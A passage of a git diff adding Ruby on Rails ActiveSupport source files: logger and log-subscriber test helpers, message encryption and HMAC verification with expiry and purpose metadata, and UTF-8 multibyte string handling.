+    # Set color by using a symbol or one of the defined constants. If a third
+    # option is set to +true+, it also adds bold to the string. This is based
+    # on the Highline implementation and will automatically append CLEAR to the
+    # end of the returned String.
+    def color(text, color, bold = false) # :doc:
+      return text unless colorize_logging
+      color = self.class.const_get(color.upcase) if color.is_a?(Symbol)
+      bold  = bold ? BOLD : ""
+      "#{bold}#{color}#{text}#{CLEAR}"
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
new file mode 100644
index 0000000000..5b2abfc57c
--- /dev/null
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+require_relative "../log_subscriber"
+require_relative "../logger"
+require_relative "../notifications"
+
+module ActiveSupport
+  class LogSubscriber
+    # Provides some helpers to deal with testing log subscribers by setting up
+    # notifications. Take for instance Active Record subscriber tests:
+    #
+    #   class SyncLogSubscriberTest < ActiveSupport::TestCase
+    #     include ActiveSupport::LogSubscriber::TestHelper
+    #
+    #     setup do
+    #       ActiveRecord::LogSubscriber.attach_to(:active_record)
+    #     end
+    #
+    #     def test_basic_query_logging
+    #       Developer.all.to_a
+    #       wait
+    #       assert_equal 1, @logger.logged(:debug).size
+    #       assert_match(/Developer Load/, @logger.logged(:debug).last)
+    #       assert_match(/SELECT \* FROM "developers"/, @logger.logged(:debug).last)
+    #     end
+    #   end
+    #
+    # All you need to do is to ensure that your log subscriber is added to
+    # Rails::Subscriber, as in the second line of the code above. The test
+    # helpers are responsible for setting up the queue, subscriptions and
+    # turning colors in logs off.
+    #
+    # The messages are available in the @logger instance, which is a logger with
+    # limited powers (it actually does not send anything to your output), and
+    # you can collect them doing @logger.logged(level), where level is the level
+    # used in logging, like info, debug, warn and so on.
+    module TestHelper
+      def setup # :nodoc:
+        @logger   = MockLogger.new
+        @notifier = ActiveSupport::Notifications::Fanout.new
+
+        ActiveSupport::LogSubscriber.colorize_logging = false
+
+        @old_notifier = ActiveSupport::Notifications.notifier
+        set_logger(@logger)
+        ActiveSupport::Notifications.notifier = @notifier
+      end
+
+      def teardown # :nodoc:
+        set_logger(nil)
+        ActiveSupport::Notifications.notifier = @old_notifier
+      end
+
+      class MockLogger
+        include ActiveSupport::Logger::Severity
+
+        attr_reader :flush_count
+        attr_accessor :level
+
+        def initialize(level = DEBUG)
+          @flush_count = 0
+          @level = level
+          @logged = Hash.new { |h, k| h[k] = [] }
+        end
+
+        def method_missing(level, message = nil)
+          if block_given?
+            @logged[level] << yield
+          else
+            @logged[level] << message
+          end
+        end
+
+        def logged(level)
+          @logged[level].compact.map { |l| l.to_s.strip }
+        end
+
+        def flush
+          @flush_count += 1
+        end
+
+        ActiveSupport::Logger::Severity.constants.each do |severity|
+          class_eval <<-EOT, __FILE__, __LINE__ + 1
+            def #{severity.downcase}?
+              #{severity} >= @level
+            end
+          EOT
+        end
+      end
+
+      # Wait notifications to be published.
+      def wait
+        @notifier.wait
+      end
+
+      # Overwrite if you use another logger in your log subscriber.
+      #
+      #   def logger
+      #     ActiveRecord::Base.logger = @logger
+      #   end
+      def set_logger(logger)
+        ActiveSupport::LogSubscriber.logger = logger
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
new file mode 100644
index 0000000000..3397ac4c9f
--- /dev/null
+++ b/activesupport/lib/active_support/logger.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+require_relative "logger_silence"
+require_relative "logger_thread_safe_level"
+require "logger"
+
+module ActiveSupport
+  class Logger < ::Logger
+    include ActiveSupport::LoggerThreadSafeLevel
+    include LoggerSilence
+
+    # Returns true if the logger destination matches one of the sources
+    #
+    #   logger = Logger.new(STDOUT)
+    #   ActiveSupport::Logger.logger_outputs_to?(logger, STDOUT)
+    #   # => true
+    def self.logger_outputs_to?(logger, *sources)
+      logdev = logger.instance_variable_get("@logdev")
+      logger_source = logdev.dev if logdev.respond_to?(:dev)
+      sources.any? { |source| source == logger_source }
+    end
+
+    # Broadcasts logs to multiple loggers.
+    def self.broadcast(logger) # :nodoc:
+      Module.new do
+        define_method(:add) do |*args, &block|
+          logger.add(*args, &block)
+          super(*args, &block)
+        end
+
+        define_method(:<<) do |x|
+          logger << x
+          super(x)
+        end
+
+        define_method(:close) do
+          logger.close
+          super()
+        end
+
+        define_method(:progname=) do |name|
+          logger.progname = name
+          super(name)
+        end
+
+        define_method(:formatter=) do |formatter|
+          logger.formatter = formatter
+          super(formatter)
+        end
+
+        define_method(:level=) do |level|
+          logger.level = level
+          super(level)
+        end
+
+        define_method(:local_level=) do |level|
+          logger.local_level = level if logger.respond_to?(:local_level=)
+          super(level) if respond_to?(:local_level=)
+        end
+
+        define_method(:silence) do |level = Logger::ERROR, &block|
+          if logger.respond_to?(:silence)
+            logger.silence(level) do
+              if defined?(super)
+                super(level, &block)
+              else
+                block.call(self)
+              end
+            end
+          else
+            if defined?(super)
+              super(level, &block)
+            else
+              block.call(self)
+            end
+          end
+        end
+      end
+    end
+
+    def initialize(*args)
+      super
+      @formatter = SimpleFormatter.new
+      after_initialize if respond_to? :after_initialize
+    end
+
+    def add(severity, message = nil, progname = nil, &block)
+      return true if @logdev.nil? || (severity || UNKNOWN) < level
+      super
+    end
+
+    Logger::Severity.constants.each do |severity|
+      class_eval(<<-EOT, __FILE__, __LINE__ + 1)
+        def #{severity.downcase}?                # def debug?
+          Logger::#{severity} >= level           #   DEBUG >= level
+        end                                      # end
+      EOT
+    end
+
+    # Simple formatter which only displays the message.
+    class SimpleFormatter < ::Logger::Formatter
+      # This method is invoked when a log event occurs
+      def call(severity, timestamp, progname, msg)
+        "#{String === msg ? msg : msg.inspect}\n"
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/logger_silence.rb b/activesupport/lib/active_support/logger_silence.rb
new file mode 100644
index 0000000000..693c7a1947
--- /dev/null
+++ b/activesupport/lib/active_support/logger_silence.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require_relative "concern"
+require_relative "core_ext/module/attribute_accessors"
+require "concurrent"
+
+module LoggerSilence
+  extend ActiveSupport::Concern
+
+  included do
+    cattr_accessor :silencer, default: true
+  end
+
+  # Silences the logger for the duration of the block.
+  def silence(temporary_level = Logger::ERROR)
+    if silencer
+      begin
+        old_local_level            = local_level
+        self.local_level           = temporary_level
+
+        yield self
+      ensure
+        self.local_level = old_local_level
+      end
+    else
+      yield self
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/logger_thread_safe_level.rb b/activesupport/lib/active_support/logger_thread_safe_level.rb
new file mode 100644
index 0000000000..3c7f53d92c
--- /dev/null
+++ b/activesupport/lib/active_support/logger_thread_safe_level.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require_relative "concern"
+
+module ActiveSupport
+  module LoggerThreadSafeLevel # :nodoc:
+    extend ActiveSupport::Concern
+
+    def after_initialize
+      @local_levels = Concurrent::Map.new(initial_capacity: 2)
+    end
+
+    def local_log_id
+      Thread.current.__id__
+    end
+
+    def local_level
+      @local_levels[local_log_id]
+    end
+
+    def local_level=(level)
+      if level
+        @local_levels[local_log_id] = level
+      else
+        @local_levels.delete(local_log_id)
+      end
+    end
+
+    def level
+      local_level || super
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
new file mode 100644
index 0000000000..090d51933a
--- /dev/null
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -0,0 +1,202 @@
+# frozen_string_literal: true
+
+require "openssl"
+require "base64"
+require_relative "core_ext/array/extract_options"
+require_relative "message_verifier"
+require_relative "messages/metadata"
+
+module ActiveSupport
+  # MessageEncryptor is a simple way to encrypt values which get stored
+  # somewhere you don't trust.
+  #
+  # The cipher text and initialization vector are base64 encoded and returned
+  # to you.
+  #
+  # This can be used in situations similar to the <tt>MessageVerifier</tt>, but
+  # where you don't want users to be able to determine the value of the payload.
+  #
+  #   len   = ActiveSupport::MessageEncryptor.key_len
+  #   salt  = SecureRandom.random_bytes(len)
+  #   key   = ActiveSupport::KeyGenerator.new('password').generate_key(salt, len) # => "\x89\xE0\x156\xAC..."
+  #   crypt = ActiveSupport::MessageEncryptor.new(key)                            # => #<ActiveSupport::MessageEncryptor ...>
+  #   encrypted_data = crypt.encrypt_and_sign('my secret data')                   # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
+  #   crypt.decrypt_and_verify(encrypted_data)                                    # => "my secret data"
+  #
+  # === Confining messages to a specific purpose
+  #
+  # By default any message can be used throughout your app. But they can also be
+  # confined to a specific +:purpose+.
+  #
+  #   token = crypt.encrypt_and_sign("this is the chair", purpose: :login)
+  #
+  # Then that same purpose must be passed when verifying to get the data back out:
+  #
+  #   crypt.decrypt_and_verify(token, purpose: :login)    # => "this is the chair"
+  #   crypt.decrypt_and_verify(token, purpose: :shipping) # => nil
+  #   crypt.decrypt_and_verify(token)                     # => nil
+  #
+  # Likewise, if a message has no purpose it won't be returned when verifying with
+  # a specific purpose.
+  #
+  #   token = crypt.encrypt_and_sign("the conversation is lively")
+  #   crypt.decrypt_and_verify(token, purpose: :scare_tactics) # => nil
+  #   crypt.decrypt_and_verify(token)                          # => "the conversation is lively"
+  #
+  # === Making messages expire
+  #
+  # By default messages last forever and verifying one year from now will still
+  # return the original value. But messages can be set to expire at a given
+  # time with +:expires_in+ or +:expires_at+.
+  #
+  #   crypt.encrypt_and_sign(parcel, expires_in: 1.month)
+  #   crypt.encrypt_and_sign(doowad, expires_at: Time.now.end_of_year)
+  #
+  # Then the messages can be verified and returned upto the expire time.
+  # Thereafter, verifying returns +nil+.
+  class MessageEncryptor
+    class << self
+      attr_accessor :use_authenticated_message_encryption #:nodoc:
+
+      def default_cipher #:nodoc:
+        if use_authenticated_message_encryption
+          "aes-256-gcm"
+        else
+          "aes-256-cbc"
+        end
+      end
+    end
+
+    module NullSerializer #:nodoc:
+      def self.load(value)
+        value
+      end
+
+      def self.dump(value)
+        value
+      end
+    end
+
+    module NullVerifier #:nodoc:
+      def self.verify(value)
+        value
+      end
+
+      def self.generate(value)
+        value
+      end
+    end
+
+    class InvalidMessage < StandardError; end
+    OpenSSLCipherError = OpenSSL::Cipher::CipherError
+
+    # Initialize a new MessageEncryptor. +secret+ must be at least as long as
+    # the cipher key size. For the default 'aes-256-gcm' cipher, this is 256
+    # bits. If you are using a user-entered secret, you can generate a suitable
+    # key by using <tt>ActiveSupport::KeyGenerator</tt> or a similar key
+    # derivation function.
+    #
+    # First additional parameter is used as the signature key for +MessageVerifier+.
+    # This allows you to specify keys to encrypt and sign data.
+    #
+    #    ActiveSupport::MessageEncryptor.new('secret', 'signature_secret')
+    #
+    # Options:
+    # * <tt>:cipher</tt>     - Cipher to use. Can be any cipher returned by
+    #   <tt>OpenSSL::Cipher.ciphers</tt>. Default is 'aes-256-gcm'.
+    # * <tt>:digest</tt> - String of digest to use for signing. Default is
+    #   +SHA1+. Ignored when using an AEAD cipher like 'aes-256-gcm'.
+    # * <tt>:serializer</tt> - Object serializer to use. Default is +Marshal+.
+    def initialize(secret, *signature_key_or_options)
+      options = signature_key_or_options.extract_options!
+      sign_secret = signature_key_or_options.first
+      @secret = secret
+      @sign_secret = sign_secret
+      @cipher = options[:cipher] || self.class.default_cipher
+      @digest = options[:digest] || "SHA1" unless aead_mode?
+      @verifier = resolve_verifier
+      @serializer = options[:serializer] || Marshal
+    end
+
+    # Encrypt and sign a message. We need to sign the message in order to avoid
+    # padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
+    def encrypt_and_sign(value, expires_at: nil, expires_in: nil, purpose: nil)
+      data = Messages::Metadata.wrap(value, expires_at: expires_at, expires_in: expires_in, purpose: purpose)
+      verifier.generate(_encrypt(data))
+    end
+
+    # Decrypt and verify a message. We need to verify the message in order to
+    # avoid padding attacks. Reference: http://www.limited-entropy.com/padding-oracle-attacks.
+    def decrypt_and_verify(data, purpose: nil)
+      Messages::Metadata.verify(_decrypt(verifier.verify(data)), purpose)
+    end
+
+    # Given a cipher, returns the key length of the cipher to help generate the key of desired size
+    def self.key_len(cipher = default_cipher)
+      OpenSSL::Cipher.new(cipher).key_len
+    end
+
+    private
+      def _encrypt(value)
+        cipher = new_cipher
+        cipher.encrypt
+        cipher.key = @secret
+
+        # Rely on OpenSSL for the initialization vector
+        iv = cipher.random_iv
+        cipher.auth_data = "" if aead_mode?
+
+        encrypted_data = cipher.update(@serializer.dump(value))
+        encrypted_data << cipher.final
+
+        blob = "#{::Base64.strict_encode64 encrypted_data}--#{::Base64.strict_encode64 iv}"
+        blob = "#{blob}--#{::Base64.strict_encode64 cipher.auth_tag}" if aead_mode?
+        blob
+      end
+
+      def _decrypt(encrypted_message)
+        cipher = new_cipher
+        encrypted_data, iv, auth_tag = encrypted_message.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }
+
+        # Currently the OpenSSL bindings do not raise an error if auth_tag is
+        # truncated, which would allow an attacker to easily forge it. See
+        # https://github.com/ruby/openssl/issues/63
+        raise InvalidMessage if aead_mode? && (auth_tag.nil? || auth_tag.bytes.length != 16)
+
+        cipher.decrypt
+        cipher.key = @secret
+        cipher.iv  = iv
+        if aead_mode?
+          cipher.auth_tag = auth_tag
+          cipher.auth_data = ""
+        end
+
+        decrypted_data = cipher.update(encrypted_data)
+        decrypted_data << cipher.final
+
+        @serializer.load(decrypted_data)
+      rescue OpenSSLCipherError, TypeError, ArgumentError
+        raise InvalidMessage
+      end
+
+      def new_cipher
+        OpenSSL::Cipher.new(@cipher)
+      end
+
+      def verifier
+        @verifier
+      end
+
+      def aead_mode?
+        @aead_mode ||= new_cipher.authenticated?
+      end
+
+      def resolve_verifier
+        if aead_mode?
+          NullVerifier
+        else
+          MessageVerifier.new(@sign_secret || @secret, digest: @digest, serializer: NullSerializer)
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
new file mode 100644
index 0000000000..fdd2185f7f
--- /dev/null
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -0,0 +1,177 @@
+# frozen_string_literal: true
+
+require "base64"
+require_relative "core_ext/object/blank"
+require_relative "security_utils"
+require_relative "messages/metadata"
+
+module ActiveSupport
+  # +MessageVerifier+ makes it easy to generate and verify messages which are
+  # signed to prevent tampering.
+  #
+  # This is useful for cases like remember-me tokens and auto-unsubscribe links
+  # where the session store isn't suitable or available.
+  #
+  # Remember Me:
+  #   cookies[:remember_me] = @verifier.generate([@user.id, 2.weeks.from_now])
+  #
+  # In the authentication filter:
+  #
+  #   id, time = @verifier.verify(cookies[:remember_me])
+  #   if Time.now < time
+  #     self.current_user = User.find(id)
+  #   end
+  #
+  # By default it uses Marshal to serialize the message. If you want to use
+  # another serialization method, you can set the serializer in the options
+  # hash upon initialization:
+  #
+  #   @verifier = ActiveSupport::MessageVerifier.new('s3Krit', serializer: YAML)
+  #
+  # +MessageVerifier+ creates HMAC signatures using SHA1 hash algorithm by default.
+  # If you want to use a different hash algorithm, you can change it by providing
+  # `:digest` key as an option while initializing the verifier:
+  #
+  #   @verifier = ActiveSupport::MessageVerifier.new('s3Krit', digest: 'SHA256')
+  #
+  # === Confining messages to a specific purpose
+  #
+  # By default any message can be used throughout your app. But they can also be
+  # confined to a specific +:purpose+.
+  #
+  #   token = @verifier.generate("this is the chair", purpose: :login)
+  #
+  # Then that same purpose must be passed when verifying to get the data back out:
+  #
+  #   @verifier.verified(token, purpose: :login)    # => "this is the chair"
+  #   @verifier.verified(token, purpose: :shipping) # => nil
+  #   @verifier.verified(token)                     # => nil
+  #
+  #   @verifier.verify(token, purpose: :login)      # => "this is the chair"
+  #   @verifier.verify(token, purpose: :shipping)   # => ActiveSupport::MessageVerifier::InvalidSignature
+  #   @verifier.verify(token)                       # => ActiveSupport::MessageVerifier::InvalidSignature
+  #
+  # Likewise, if a message has no purpose it won't be returned when verifying with
+  # a specific purpose.
+  #
+  #   token = @verifier.generate("the conversation is lively")
+  #   @verifier.verified(token, purpose: :scare_tactics) # => nil
+  #   @verifier.verified(token)                          # => "the conversation is lively"
+  #
+  #   @verifier.verify(token, purpose: :scare_tactics)   # => ActiveSupport::MessageVerifier::InvalidSignature
+  #   @verifier.verify(token)                            # => "the conversation is lively"
+  #
+  # === Making messages expire
+  #
+  # By default messages last forever and verifying one year from now will still
+  # return the original value. But messages can be set to expire at a given
+  # time with +:expires_in+ or +:expires_at+.
+  #
+  #   @verifier.generate(parcel, expires_in: 1.month)
+  #   @verifier.generate(doowad, expires_at: Time.now.end_of_year)
+  #
+  # Then the messages can be verified and returned upto the expire time.
+  # Thereafter, the +verified+ method returns +nil+ while +verify+ raises
+  # <tt>ActiveSupport::MessageVerifier::InvalidSignature</tt>.
+  class MessageVerifier
+    class InvalidSignature < StandardError; end
+
+    def initialize(secret, options = {})
+      raise ArgumentError, "Secret should not be nil." unless secret
+      @secret = secret
+      @digest = options[:digest] || "SHA1"
+      @serializer = options[:serializer] || Marshal
+    end
+
+    # Checks if a signed message could have been generated by signing an object
+    # with the +MessageVerifier+'s secret.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #   signed_message = verifier.generate 'a private message'
+    #   verifier.valid_message?(signed_message) # => true
+    #
+    #   tampered_message = signed_message.chop # editing the message invalidates the signature
+    #   verifier.valid_message?(tampered_message) # => false
+    def valid_message?(signed_message)
+      return if signed_message.nil? || !signed_message.valid_encoding? || signed_message.blank?
+
+      data, digest = signed_message.split("--".freeze)
+      data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))
+    end
+
+    # Decodes the signed message using the +MessageVerifier+'s secret.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #
+    #   signed_message = verifier.generate 'a private message'
+    #   verifier.verified(signed_message) # => 'a private message'
+    #
+    # Returns +nil+ if the message was not signed with the same secret.
+    #
+    #   other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+    #   other_verifier.verified(signed_message) # => nil
+    #
+    # Returns +nil+ if the message is not Base64-encoded.
+    #
+    #   invalid_message = "f--46a0120593880c733a53b6dad75b42ddc1c8996d"
+    #   verifier.verified(invalid_message) # => nil
+    #
+    # Raises any error raised while decoding the signed message.
+    #
+    #   incompatible_message = "test--dad7b06c94abba8d46a15fafaef56c327665d5ff"
+    #   verifier.verified(incompatible_message) # => TypeError: incompatible marshal file format
+    def verified(signed_message, purpose: nil)
+      if valid_message?(signed_message)
+        begin
+          data = signed_message.split("--".freeze)[0]
+          Messages::Metadata.verify(@serializer.load(decode(data)), purpose)
+        rescue ArgumentError => argument_error
+          return if argument_error.message.include?("invalid base64")
+          raise
+        end
+      end
+    end
+
+    # Decodes the signed message using the +MessageVerifier+'s secret.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #   signed_message = verifier.generate 'a private message'
+    #
+    #   verifier.verify(signed_message) # => 'a private message'
+    #
+    # Raises +InvalidSignature+ if the message was not signed with the same
+    # secret or was not Base64-encoded.
+    #
+    #   other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+    #   other_verifier.verify(signed_message) # => ActiveSupport::MessageVerifier::InvalidSignature
+    def verify(signed_message, purpose: nil)
+      verified(signed_message, purpose: purpose) || raise(InvalidSignature)
+    end
+
+    # Generates a signed message for the provided value.
+    #
+    # The message is signed with the +MessageVerifier+'s secret. Without knowing
+    # the secret, the original value cannot be extracted from the message.
+    #
+    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #   verifier.generate 'a private message' # => "BAhJIhRwcml2YXRlLW1lc3NhZ2UGOgZFVA==--e2d724331ebdee96a10fb99b089508d1c72bd772"
+    def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
+      data = encode(@serializer.dump(Messages::Metadata.wrap(value, expires_at: expires_at, expires_in: expires_in, purpose: purpose)))
+      "#{data}--#{generate_digest(data)}"
+    end
+
+    private
+      def encode(data)
+        ::Base64.strict_encode64(data)
+      end
+
+      def decode(data)
+        ::Base64.strict_decode64(data)
+      end
+
+      def generate_digest(data)
+        require "openssl" unless defined?(OpenSSL)
+        OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/messages/metadata.rb b/activesupport/lib/active_support/messages/metadata.rb
new file mode 100644
index 0000000000..db14ac0b1c
--- /dev/null
+++ b/activesupport/lib/active_support/messages/metadata.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+require "time"
+
+module ActiveSupport
+  module Messages #:nodoc:
+    class Metadata #:nodoc:
+      def initialize(expires_at, purpose)
+        @expires_at, @purpose = expires_at, purpose.to_s
+      end
+
+      class << self
+        def wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
+          if expires_at || expires_in || purpose
+            { "value" => message, "_rails" => { "exp" => pick_expiry(expires_at, expires_in), "pur" => purpose } }
+          else
+            message
+          end
+        end
+
+        def verify(message, purpose)
+          metadata = extract_metadata(message)
+
+          if metadata.nil?
+            message if purpose.nil?
+          elsif metadata.match?(purpose) && metadata.fresh?
+            message["value"]
+          end
+        end
+
+        private
+          def pick_expiry(expires_at, expires_in)
+            if expires_at
+              expires_at.utc.iso8601(3)
+            elsif expires_in
+              Time.now.utc.advance(seconds: expires_in).iso8601(3)
+            end
+          end
+
+          def extract_metadata(message)
+            if message.is_a?(Hash) && message.key?("_rails")
+              new(message["_rails"]["exp"], message["_rails"]["pur"])
+            end
+          end
+      end
+
+      def match?(purpose)
+        @purpose == purpose.to_s
+      end
+
+      def fresh?
+        @expires_at.nil? || Time.now.utc < Time.iso8601(@expires_at)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/multibyte.rb b/activesupport/lib/active_support/multibyte.rb
new file mode 100644
index 0000000000..3fe3a05e93
--- /dev/null
+++ b/activesupport/lib/active_support/multibyte.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveSupport #:nodoc:
+  module Multibyte
+    autoload :Chars, "active_support/multibyte/chars"
+    autoload :Unicode, "active_support/multibyte/unicode"
+
+    # The proxy class returned when calling mb_chars. You can use this accessor
+    # to configure your own proxy class so you can support other encodings. See
+    # the ActiveSupport::Multibyte::Chars implementation for an example how to
+    # do this.
+    #
+    #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+    def self.proxy_class=(klass)
+      @proxy_class = klass
+    end
+
+    # Returns the current proxy class.
+    def self.proxy_class
+      @proxy_class ||= ActiveSupport::Multibyte::Chars
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/multibyte/chars.rb b/activesupport/lib/active_support/multibyte/chars.rb
new file mode 100644
index 0000000000..d676827e8e
--- /dev/null
+++ b/activesupport/lib/active_support/multibyte/chars.rb
@@ -0,0 +1,235 @@
+# frozen_string_literal: true
+
+require_relative "../json"
+require_relative "../core_ext/string/access"
+require_relative "../core_ext/string/behavior"
+require_relative "../core_ext/module/delegation"
+require_relative "../core_ext/regexp"
+
+module ActiveSupport #:nodoc:
+  module Multibyte #:nodoc:
+    # Chars enables you to work transparently with UTF-8 encoding in the Ruby
+    # String class without having extensive knowledge about the encoding. A
+    # Chars object accepts a string upon initialization and proxies String
+    # methods in an encoding safe manner. All the normal String methods are also
+    # implemented on the proxy.
+    #
+    # String methods are proxied through the Chars object, and can be accessed
+    # through the +mb_chars+ method. Methods which would normally return a
+    # String object now return a Chars object so methods can be chained.
+    #
+    #   'The Perfect String  '.mb_chars.downcase.strip.normalize
+    #   # => #<ActiveSupport::Multibyte::Chars:0x007fdc434ccc10 @wrapped_string="the perfect string">
+    #
+    # Chars objects are perfectly interchangeable with String objects as long as
+    # no explicit class checks are made. If certain methods do explicitly check
+    # the class, call +to_s+ before you pass chars objects to them.
+    #
+    #   bad.explicit_checking_method 'T'.mb_chars.downcase.to_s
+    #
+    # The default Chars implementation assumes that the encoding of the string
+    # is UTF-8, if you want to handle different encodings you can write your own
+    # multibyte string handler and configure it through
+    # ActiveSupport::Multibyte.proxy_class.
+    #
+    #   class CharsForUTF32
+    #     def size
+    #       @wrapped_string.size / 4
+    #     end
+    #
+    #     def self.accepts?(string)
+    #       string.length % 4 == 0
+    #     end
+    #   end
+    #
+    #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+    class Chars
+      include Comparable
+      attr_reader :wrapped_string
+      alias to_s wrapped_string
+      alias to_str wrapped_string
+
+      delegate :<=>, :=~, :acts_like_string?, to: :wrapped_string
+
+      # Creates a new Chars instance by wrapping _string_.
+      def initialize(string)
+        @wrapped_string = string
+        @wrapped_string.force_encoding(Encoding::UTF_8) unless @wrapped_string.frozen?
+      end
+
+      # Forward all undefined methods to the wrapped string.
+      def method_missing(method, *args, &block)
+        result = @wrapped_string.__send__(method, *args, &block)
+        if /!$/.match?(method)
+          self if result
+        else
+          result.kind_of?(String) ? chars(result) : result
+        end
+      end
+
+      # Returns +true+ if _obj_ responds to the given method. Private methods
+      # are included in the search only if the optional second parameter
+      # evaluates to +true+.
+      def respond_to_missing?(method, include_private)
+        @wrapped_string.respond_to?(method, include_private)
+      end
+
+      # Returns +true+ when the proxy class can handle the string. Returns
+      # +false+ otherwise.
+      def self.consumes?(string)
+        string.encoding == Encoding::UTF_8
+      end
+
+      # Works just like <tt>String#split</tt>, with the exception that the items
+      # in the resulting list are Chars instances instead of String. This makes
+      # chaining methods easier.
+      #
+      #   'Café périferôl'.mb_chars.split(/é/).map { |part| part.upcase.to_s } # => ["CAF", " P", "RIFERÔL"]
+      def split(*args)
+        @wrapped_string.split(*args).map { |i| self.class.new(i) }
+      end
+
+      # Works like <tt>String#slice!</tt>, but returns an instance of
+      # Chars, or +nil+ if the string was not modified. The string will not be
+      # modified if the range given is out of bounds
+      #
+      #   string = 'Welcome'
+      #   string.mb_chars.slice!(3)    # => #<ActiveSupport::Multibyte::Chars:0x000000038109b8 @wrapped_string="c">
+      #   string # => 'Welome'
+      #   string.mb_chars.slice!(0..3) # => #<ActiveSupport::Multibyte::Chars:0x00000002eb80a0 @wrapped_string="Welo">
+      #   string # => 'me'
+      def slice!(*args)
+        string_sliced = @wrapped_string.slice!(*args)
+        if string_sliced
+          chars(string_sliced)
+        end
+      end
+
+      # Reverses all characters in the string.
+      #
+      #   'Café'.mb_chars.reverse.to_s # => 'éfaC'
+      def reverse
+        chars(Unicode.unpack_graphemes(@wrapped_string).reverse.flatten.pack("U*"))
+      end
+
+      # Limits the byte size of the string to a number of bytes without breaking
+      # characters. Usable when the storage for a string is limited for some
+      # reason.
+      #
+      #   'こんにちは'.mb_chars.limit(7).to_s # => "こん"
+      def limit(limit)
+        slice(0...translate_offset(limit))
+      end
+
+      # Converts characters in the string to uppercase.
+      #
+      #   'Laurent, où sont les tests ?'.mb_chars.upcase.to_s # => "LAURENT, OÙ SONT LES TESTS ?"
+      def upcase
+        chars Unicode.upcase(@wrapped_string)
+      end
+
+      # Converts characters in the string to lowercase.
+      #
+      #   'VĚDA A VÝZKUM'.mb_chars.downcase.to_s # => "věda a výzkum"
+      def downcase
+        chars Unicode.downcase(@wrapped_string)
+      end
+
+      # Converts characters in the string to the opposite case.
+      #
+      #    'El Cañón'.mb_chars.swapcase.to_s # => "eL cAÑÓN"
+      def swapcase
+        chars Unicode.swapcase(@wrapped_string)
+      end
+
+      # Converts the first character to uppercase and the remainder to lowercase.
+      #
+      #  'über'.mb_chars.capitalize.to_s # => "Über"
+      def capitalize
+        (slice(0) || chars("")).upcase + (slice(1..-1) || chars("")).downcase
+      end
+
+      # Capitalizes the first letter of every word, when possible.
+      #
+      #   "ÉL QUE SE ENTERÓ".mb_chars.titleize.to_s    # => "Él Que Se Enteró"
+      #   "日本語".mb_chars.titleize.to_s               # => "日本語"
+      def titleize
+        chars(downcase.to_s.gsub(/\b('?\S)/u) { Unicode.upcase($1) })
+      end
+      alias_method :titlecase, :titleize
+
+      # Returns the KC normalization of the string by default. NFKC is
+      # considered the best normalization form for passing strings to databases
+      # and validations.
+      #
+      # * <tt>form</tt> - The form you want to normalize in. Should be one of the following:
+      #   <tt>:c</tt>, <tt>:kc</tt>, <tt>:d</tt>, or <tt>:kd</tt>. Default is
+      #   ActiveSupport::Multibyte::Unicode.default_normalization_form
+      def normalize(form = nil)
+        chars(Unicode.normalize(@wrapped_string, form))
+      end
+
+      # Performs canonical decomposition on all the characters.
+      #
+      #   'é'.length                         # => 2
+      #   'é'.mb_chars.decompose.to_s.length # => 3
+      def decompose
+        chars(Unicode.decompose(:canonical, @wrapped_string.codepoints.to_a).pack("U*"))
+      end
+
+      # Performs composition on all the characters.
+      #
+      #   'é'.length                       # => 3
+      #   'é'.mb_chars.compose.to_s.length # => 2
+      def compose
+        chars(Unicode.compose(@wrapped_string.codepoints.to_a).pack("U*"))
+      end
+
+      # Returns the number of grapheme clusters in the string.
+      #
+      #   'क्षि'.mb_chars.length   # => 4
+      #   'क्षि'.mb_chars.grapheme_length # => 3
+      def grapheme_length
+        Unicode.unpack_graphemes(@wrapped_string).length
+      end
+
+      # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+      # resulting in a valid UTF-8 string.
+      #
+      # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+      # encoding is entirely CP1252 or ISO-8859-1.
+      def tidy_bytes(force = false)
+        chars(Unicode.tidy_bytes(@wrapped_string, force))
+      end
+
+      def as_json(options = nil) #:nodoc:
+        to_s.as_json(options)
+      end
+
+      %w(capitalize downcase reverse tidy_bytes upcase).each do |method|
+        define_method("#{method}!") do |*args|
